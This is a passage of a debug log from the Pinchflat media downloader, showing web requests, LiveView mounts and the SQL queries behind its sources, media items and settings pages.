duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:20:21.027 [info] Sent 200 in 8ms 22:20:21.224 [info] CONNECTED TO Phoenix.LiveView.Socket in 57µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "eB4CBjISMgUTWEcIPiwbBxlDGWcdKycw7WXdsaaLT7-FWdRUC2-3ooAu", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:20:21.249 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 22:20:21.251 [debug] QUERY OK source="sources" db=0.8ms idle=228.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:20:21.253 [debug] QUERY OK source="sources" db=1.7ms idle=229.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:20:21.253 [debug] Replied in 4ms 22:20:21.256 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 22:20:21.256 [debug] Replied in 141µs 22:20:21.662 [info] GET /sources/1/media/101 22:20:21.663 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "101", "source_id" => "1"} Pipelines: [:browser] 22:20:21.664 [debug] QUERY OK source="media_items" db=0.3ms idle=641.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101] 22:20:21.665 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=640.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [101] 22:20:21.665 [debug] QUERY OK source="sources" db=0.4ms idle=638.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:21.666 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=414.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [100] 22:20:21.666 [debug] QUERY OK source="settings" db=0.2ms idle=413.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.667 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.668 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.669 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:21.672 [info] Sent 200 in 9ms 22:20:22.494 [info] GET / 22:20:22.495 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:20:22.495 [debug] QUERY OK source="settings" db=0.3ms idle=828.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:22.496 [debug] QUERY OK source="media_profiles" db=0.1ms idle=828.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:20:22.496 [debug] QUERY OK source="sources" db=0.2ms idle=828.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:20:22.497 [debug] QUERY OK source="media_items" db=0.2ms idle=827.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:20:22.497 [debug] QUERY OK source="media_items" db=0.1ms idle=793.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:20:22.497 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:22.498 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:22.498 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:22.500 [debug] QUERY OK source="tasks" db=0.4ms idle=2.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:20:22.501 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [78, 86] 22:20:22.502 [debug] QUERY OK source="media_items" db=0.2ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:20:22.503 [debug] QUERY OK source="media_items" db=0.5ms idle=4.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:20:22.504 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 22:20:22.508 [debug] QUERY OK source="media_items" db=0.5ms idle=7.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:20:22.510 [debug] QUERY OK source="media_items" db=1.0ms idle=7.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:20:22.510 [debug] QUERY OK source="sources" db=0.2ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:22.512 [info] Sent 200 in 17ms 22:20:22.707 [info] CONNECTED TO Phoenix.LiveView.Socket in 42µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CAQ_NyAZayoEHgc4OjoOCD4WViMfKw8IGMeUaj8cCqmvSrGZdgbwmoiM", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:20:22.721 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "downloaded"} 22:20:22.722 [debug] QUERY OK source="media_items" db=0.2ms idle=217.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:20:22.723 [debug] QUERY OK source="media_items" db=0.6ms idle=213.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:20:22.723 [debug] QUERY OK source="sources" db=0.2ms idle=213.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 22:20:22.724 [debug] Replied in 2ms 22:20:22.727 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "pending"} 22:20:22.728 [debug] QUERY OK source="media_items" db=0.5ms idle=216.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:20:22.729 [debug] QUERY OK source="media_items" db=0.8ms idle=22.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:20:22.729 [debug] QUERY OK source="sources" db=0.2ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:22.729 [debug] Replied in 2ms 22:20:22.732 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 22:20:22.733 [debug] QUERY OK source="tasks" db=0.4ms idle=9.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:20:22.734 [debug] QUERY OK source="media_items" db=0.3ms idle=9.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [78, 86] 22:20:22.734 [debug] Replied in 1ms 22:20:22.735 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 22:20:22.735 [debug] Replied in 144µs 22:20:23.068 [info] GET /download_logs 22:20:23.068 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 22:20:23.069 [info] Sent 200 in 735µs 22:20:28.140 [info] GET /media_profiles/1 22:20:28.140 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:20:28.140 [debug] QUERY OK source="media_profiles" db=0.1ms idle=427.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:28.141 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=78.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", 